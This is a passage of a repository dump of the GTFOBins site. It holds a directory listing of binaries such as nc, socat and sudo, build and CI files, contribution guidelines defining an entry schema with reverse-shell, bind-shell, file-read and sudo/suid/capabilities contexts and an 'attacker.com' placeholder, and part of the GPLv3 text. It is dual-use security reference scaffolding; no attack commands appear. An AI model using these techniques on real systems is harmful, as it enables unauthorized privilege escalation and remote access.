Repository: GTFOBins/GTFOBins.github.io Branch: master Commit: 869f965b285f Files: 515 Total size: 302.0 KB Directory structure: gitextract_ecb66mmc/ ├── .dir-locals.el ├── .gitattributes ├── .github/ │ ├── FUNDING.yml │ └── workflows/ │ ├── ci.yml │ └── pages.yml ├── .gitignore ├── CNAME ├── CONTRIBUTING.md ├── Dockerfile ├── Gemfile ├── LICENSE ├── Makefile ├── README.md ├── _config.yml ├── _data/ │ ├── contexts.yml │ └── functions.yml ├── _gtfobins/ │ ├── 7z │ ├── R │ ├── aa-exec │ ├── ab │ ├── acr │ ├── agetty │ ├── alpine │ ├── ansible-playbook │ ├── ansible-test │ ├── aoss │ ├── apache2 │ ├── apache2ctl │ ├── apport-cli │ ├── apt │ ├── apt-get │ ├── aptitude │ ├── ar │ ├── arch-nspawn │ ├── aria2c │ ├── arj │ ├── arp │ ├── as │ ├── ascii-xfr │ ├── ascii85 │ ├── ash │ ├── aspell │ ├── asterisk │ ├── at │ ├── atobm │ ├── autoconf │ ├── autoheader │ ├── autoreconf │ ├── awk │ ├── aws │ ├── base32 │ ├── base58 │ ├── base64 │ ├── basenc │ ├── basez │ ├── bash │ ├── bashbug │ ├── batcat │ ├── bbot │ ├── bc │ ├── bconsole │ ├── bee │ ├── borg │ ├── bpftrace │ ├── bridge │ ├── bundle │ ├── bundler │ ├── busctl │ ├── busybox │ ├── byebug │ ├── bzip2 │ ├── c89 │ ├── c99 │ ├── cabal │ ├── cancel │ ├── capsh │ ├── cargo │ ├── cat │ ├── cc │ ├── cdist │ ├── certbot │ ├── chattr │ ├── check_by_ssh │ ├── check_cups │ ├── check_log │ ├── check_memory │ ├── check_raid │ ├── check_ssl_cert │ ├── check_statusfile │ ├── chmod │ ├── choom │ ├── chown │ ├── chroot │ ├── chrt │ ├── clamscan │ ├── clisp │ ├── cmake │ ├── cmp │ ├── cobc │ ├── code │ ├── codex │ ├── column │ ├── comm │ ├── composer │ ├── cowsay │ ├── cowthink │ ├── cp │ ├── cpan │ ├── cpio │ ├── cpulimit │ ├── crash │ ├── crontab │ ├── csh │ ├── csplit │ ├── csvtool │ ├── ctr │ ├── cupsfilter │ ├── curl │ ├── cut │ ├── dash │ ├── date │ ├── dc │ ├── dd │ ├── debugfs │ ├── dhclient │ ├── dialog │ ├── diff │ ├── dig │ ├── distcc │ ├── dmesg │ ├── dmidecode │ ├── dmsetup │ ├── dnf │ ├── dnsmasq │ ├── doas │ ├── docker │ ├── dos2unix │ ├── dosbox │ ├── dotnet │ ├── dpkg │ ├── dstat │ ├── dvips │ ├── easy_install │ ├── easyrsa │ ├── eb │ ├── ed │ ├── efax │ ├── egrep │ ├── elvish │ ├── emacs │ ├── enscript │ ├── env │ ├── eqn │ ├── espeak │ ├── ex │ ├── exiftool │ ├── expand │ ├── expect │ ├── facter │ ├── fail2ban-client │ ├── fastfetch │ ├── ffmpeg │ ├── fgrep │ ├── file │ ├── find │ ├── finger │ ├── firejail │ ├── fish │ ├── flock │ ├── fmt │ ├── fold │ ├── forge │ ├── fping │ ├── ftp │ ├── fzf │ ├── g++ │ ├── gawk │ ├── gcc │ ├── gcloud │ ├── gcore │ ├── gdb │ ├── gem │ ├── genie │ ├── genisoimage │ ├── getent │ ├── ghc │ ├── ghci │ ├── gimp │ ├── ginsh │ ├── git │ ├── gnuplot │ ├── go │ ├── grc │ ├── grep │ ├── gtester │ ├── guile │ ├── gzip │ ├── hashcat │ ├── hd │ ├── head │ ├── hexdump │ ├── hg │ ├── highlight │ ├── hping3 │ ├── iconv │ ├── iftop │ ├── install │ ├── ionice │ ├── ip │ ├── iptables-save │ ├── irb │ ├── ispell │ ├── java │ ├── jjs │ ├── joe │ ├── join │ ├── journalctl │ ├── jq │ ├── jrunscript │ ├── jshell │ ├── jtag │ ├── julia │ ├── knife │ ├── ksh │ ├── ksshell │ ├── ksu │ ├── kubectl │ ├── last │ ├── lastb │ ├── latex │ ├── latexmk │ ├── ldconfig │ ├── less │ ├── lftp │ ├── links │ ├── ln │ ├── loginctl │ ├── logrotate │ ├── logsave │ ├── look │ ├── lp │ ├── ltrace │ ├── lua │ ├── lualatex │ ├── luatex │ ├── lwp-download │ ├── lwp-request │ ├── lxd │ ├── m4 │ ├── mail │ ├── make │ ├── man │ ├── mawk │ ├── minicom │ ├── more │ ├── mosh-server │ ├── mosquitto │ ├── mount │ ├── msfconsole │ ├── msgattrib │ ├── msgcat │ ├── msgconv │ ├── msgfilter │ ├── msgmerge │ ├── msguniq │ ├── mtr │ ├── multitime │ ├── mutt │ ├── mv │ ├── mypy │ ├── mysql │ ├── nano │ ├── nasm │ ├── nawk │ ├── nc │ ├── ncdu │ ├── ncftp │ ├── needrestart │ ├── neofetch │ ├── nft │ ├── nginx │ ├── nice │ ├── nl │ ├── nm │ ├── nmap │ ├── node │ ├── nohup │ ├── npm │ ├── nroff │ ├── nsenter │ ├── ntpdate │ ├── nvim │ ├── octave │ ├── od │ ├── opencode │ ├── openssl │ ├── openvpn │ ├── openvt │ ├── opkg │ ├── pandoc │ ├── passwd │ ├── paste │ ├── pax │ ├── pdb │ ├── pdflatex │ ├── pdftex │ ├── perf │ ├── perl │ ├── perlbug │ ├── pexec │ ├── pg │ ├── php │ ├── pic │ ├── pico │ ├── pidstat │ ├── pip │ ├── pipx │ ├── pkexec │ ├── pkg │ ├── plymouth │ ├── podman │ ├── poetry │ ├── posh │ ├── pr │ ├── procmail │ ├── pry │ ├── psftp │ ├── psql │ ├── ptx │ ├── puppet │ ├── pwsh │ ├── pygmentize │ ├── pyright │ ├── python │ ├── qpdf │ ├── rake │ ├── ranger │ ├── rc │ ├── readelf │ ├── red │ ├── redcarpet │ ├── redis │ ├── restic │ ├── rev │ ├── rlogin │ ├── rlwrap │ ├── rpm │ ├── rpmdb │ ├── rpmquery │ ├── rpmverify │ ├── rsync │ ├── rsyslogd │ ├── rtorrent │ ├── ruby │ ├── run-mailcap │ ├── run-parts │ ├── runscript │ ├── rustc │ ├── rustdoc │ ├── rustfmt │ ├── rustup │ ├── rview │ ├── rvim │ ├── sash │ ├── scanmem │ ├── scp │ ├── screen │ ├── script │ ├── scrot │ ├── sed │ ├── service │ ├── setarch │ ├── setcap │ ├── setfacl │ ├── setlock │ ├── sftp │ ├── sg │ ├── shred │ ├── shuf │ ├── slsh │ ├── smbclient │ ├── snap │ ├── socat │ ├── socket │ ├── soelim │ ├── softlimit │ ├── sort │ ├── split │ ├── sqlite3 │ ├── sqlmap │ ├── ss │ ├── ssh │ ├── ssh-agent │ ├── ssh-copy-id │ ├── ssh-keygen │ ├── ssh-keyscan │ ├── sshfs │ ├── sshpass │ ├── sshuttle │ ├── start-stop-daemon │ ├── stdbuf │ ├── strace │ ├── strings │ ├── su │ ├── sudo │ ├── sysctl │ ├── systemctl │ ├── systemd-resolve │ ├── systemd-run │ ├── tac │ ├── tail │ ├── tailscale │ ├── tar │ ├── task │ ├── taskset │ ├── tasksh │ ├── tbl │ ├── tclsh │ ├── tcpdump │ ├── tcsh │ ├── tdbtool │ ├── tee │ ├── telnet │ ├── terraform │ ├── tex │ ├── tftp │ ├── tic │ ├── time │ ├── timedatectl │ ├── timeout │ ├── tmate │ ├── tmux │ ├── top │ ├── torify │ ├── torsocks │ ├── troff │ ├── tsc │ ├── tshark │ ├── ul │ ├── unexpand │ ├── uniq │ ├── unshare │ ├── unsquashfs │ ├── unzip │ ├── update-alternatives │ ├── urlget │ ├── uuencode │ ├── uv │ ├── vagrant │ ├── valgrind │ ├── varnishncsa │ ├── vi │ ├── view │ ├── vigr │ ├── vim │ ├── vimdiff │ ├── vipw │ ├── virsh │ ├── volatility │ ├── w3m │ ├── wall │ ├── watch │ ├── wc │ ├── wg-quick │ ├── wget │ ├── whiptail │ ├── whois │ ├── wireshark │ ├── wish │ ├── xargs │ ├── xdg-user-dir │ ├── xdotool │ ├── xelatex │ ├── xetex │ ├── xmodmap │ ├── xmore │ ├── xpad │ ├── xxd │ ├── xz │ ├── yarn │ ├── yash │ ├── yelp │ ├── yt-dlp │ ├── yum │ ├── zathura │ ├── zcat │ ├── zgrep │ ├── zic │ ├── zip │ ├── zless │ ├── zsh │ ├── zsoelim │ └── zypper ├── _includes/ │ ├── description_table.html │ ├── function_list.html │ ├── get_contexts_label.html │ ├── get_gtfobin.html │ ├── get_gtfobin_name.html │ ├── gtfobins_table.html │ └── page_title.html ├── _layouts/ │ ├── common.html │ ├── gtfobin.html │ └── page.html ├── api.json ├── assets/ │ └── style.scss ├── index.md ├── linter/ │ ├── __main__.py │ ├── dumper.py │ ├── error.py │ ├── linter.py │ ├── loader.py │ ├── requirements.txt │ └── schema.py ├── mitre.json └── scope.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: .dir-locals.el ================================================ (("_gtfobins" . ((fundamental-mode . ((mode . yaml)))))) ================================================ FILE: .gitattributes ================================================ /_gtfobins/* linguist-language=yml linguist-detectable ================================================ FILE: .github/FUNDING.yml ================================================ github: GTFOBins ================================================ FILE: .github/workflows/ci.yml ================================================ name: CI on: push: branches: - master pull_request: branches: - master workflow_dispatch: jobs: Lint: runs-on: ubuntu-22.04 steps: - name: Checkout code uses: actions/checkout@v4 - name: Run linter run: | make vet ================================================ FILE: .github/workflows/pages.yml ================================================ name: Pages on: push: branches: - master permissions: contents: read pages: write id-token: write jobs: Build: runs-on: ubuntu-22.04 steps: - name: Checkout code uses: actions/checkout@v4 - uses: ruby/setup-ruby@v1 with: ruby-version: 3.3.4 bundler-cache: true - name: Setup Pages id: pages uses: actions/configure-pages@v5 - name: Build Jekyll run: bundle exec jekyll build env: JEKYLL_ENV: production - name: Upload artifact uses: actions/upload-pages-artifact@v3 Deploy: environment: name: github-pages runs-on: ubuntu-22.04 needs: Build steps: - name: Deploy to GitHub Pages uses: actions/deploy-pages@v4 ================================================ FILE: .gitignore ================================================ /.jekyll-cache/ /.jekyll-metadata /.sass-cache/ /_private/ /_site/ /linter/.venv/ /linter/__pycache__/ ================================================ FILE: CNAME ================================================ gtfobins.org ================================================ FILE: CONTRIBUTING.md ================================================ --- layout: page title: Contributing description: Get involved in GTFOBins. permalink: /contributing/ --- ## File format Feel free to use any file in the [`_gtfobins/`] folder as an example. Each entry is defined in a [YAML][] file placed in the [`_gtfobins/`][] folder and named like the executable (binary or script) it refers, without any extension. The file contains a single YAML document enclosed in delimiters: `---` and `...`. The general structure is the following: ```yaml --- comment: … functions: : - comment: … version: … code: … contexts: : comment: … code: … # … # … # … # … ... ``` Where `` and `` are defined in the [`_data/functions.yml`][] and [`_data/contexts.yml`][] files respectively. The optional `version` field must outline any particular OS or executable requirements that enable the corresponding function. When a context specifies a specialized `code` field, it is used in place of the global value, which can be omitted if all the context specifies a specialization. `comment` instances can always be omitted, while ultimately there must be one `code` example for each context, either specialized or inherited. ### Functions Some functions support additional fields: | Function | Fields | |-----------------|---------------------------| | `shell` | `blind` | | `command` | `blind` | | `reverse-shell` | `blind` `tty` `listener` | | `bind-shell` | `blind` `tty` `connector` | | `file-write` | `binary` | | `file-read` | `binary` | | `upload` | `binary` `receiver` | | `download` | `binary` `sender` | | `library-load` | n/a | | `inherit` | `from` | Where: - the optional `blind` field determines whether the example is able to somehow return the output of the execution of commands or not (defaults to `false`); - the optional `tty` field determines whether the example is able to spawn a full TTY shell or not (defaults to `true`); - the optional `binary` field determines whether the example is able to handle arbitrary binary data or not (defaults to `true`); - the optional `listener` field describes how to receive the shell on the other side, it can be either a string (that must match the corresponding key in [`_data/functions.yml`][], e.g., `TCP`), or an object with two optional fields (`comment` and `code`); - the optional `connector` field describes how to initiate the shell on the other side, it can be either a string (that must match the corresponding key in [`_data/functions.yml`][], e.g., `TCP`), or an object with two optional fields (`comment` and `code`); - the optional `receiver` field describes how to receive data on the other side, it can be either a string (that must match the corresponding key in [`_data/functions.yml`][], e.g., `TCP`), or an object with two optional fields (`comment` and `code`); - the optional `sender` field describes how to send data on the other side, it can be either a string (that must match the corresponding key in [`_data/functions.yml`][], e.g., `TCP`), or an object with two optional fields (`comment` and `code`); - the mandayory `from` field that is the name of another executable that the example enables. ### Contexts Some contexts support additional fields: | Context | Fields | |----------------|----------| | `unprivileged` | n/a | | `sudo` | n/a | | `suid` | `system` | | `capabilities` | `list` | Where: - the optional `system` field determines whether the executable uses functions like [`system`](https://man7.org/linux/man-pages/man3/system.3.html) that passes commands to the default system shell, which, according to the version used, might or might not drop the privileges (defaults to `false`); - the mandayory `list` field is the list of Linux [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) in the format `CAP_*` that are needed in order to execute this function with bypassed permissions. ### Aliases Additionally, it is possible to add _aliases_ with: ```yaml --- alias: ... ``` In this case, this entry is an alias of an existing ``. ## Conventions ### Placeholders Use the following placeholder values where appropriate: | Type | Value | |----------------------|------------------------| | Shell executable | `/bin/sh` | | Command executable | `/path/to/command` | | Network port | `12345` | | Data to be written | `DATA` | | Whatever value | `x...x` | | Input file | `/path/to/input-file` | | Output file | `/path/to/output-file` | | Temporary file | `/path/to/temp-file` | | Temporary directory | `/path/to/temp-dir/` | | Shared library file | `/path/to/lib.so` | | Victim host domain | `victim.com` | | Attacker host domain | `attacker.com` | Some flexibility is expected. ### Links If needed, link to other entries using relative URLs, e.g, `[gtfobin](../gtfobin)`. ## Local development To test local changes, start a local instance with: ``` make serve ``` This will spin a Docker container that builds the website, and serves it from . Changes to local files are automatically applied. Before submitting any pull request, make sure the linter completes successfully: ``` make vet ``` This checks both the schema and the format of [YAML][] files, in case of issues in the latter `make format` can be used to enforce the proper style. Finally, use `make clean` to clean everything up. [YAML]: https://yaml.org/ [`_data/functions.yml`]: https://github.com/GTFOBins/GTFOBins.github.io/blob/master/_data/functions.yml [`_data/contexts.yml`]: https://github.com/GTFOBins/GTFOBins.github.io/blob/master/_data/contexts.yml [`_gtfobins/`]: https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins ================================================ FILE: Dockerfile ================================================ # see: curl -s https://pages.github.com/versions.json | jq -r '.ruby' FROM ruby:3.3.4 WORKDIR /GTFOBins/ COPY ./Gemfile ./ RUN bundle install ENTRYPOINT ["bundle", "exec", "jekyll", "serve", "--host=0.0.0.0"] ================================================ FILE: Gemfile ================================================ source 'https://rubygems.org' gem 'github-pages' ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you 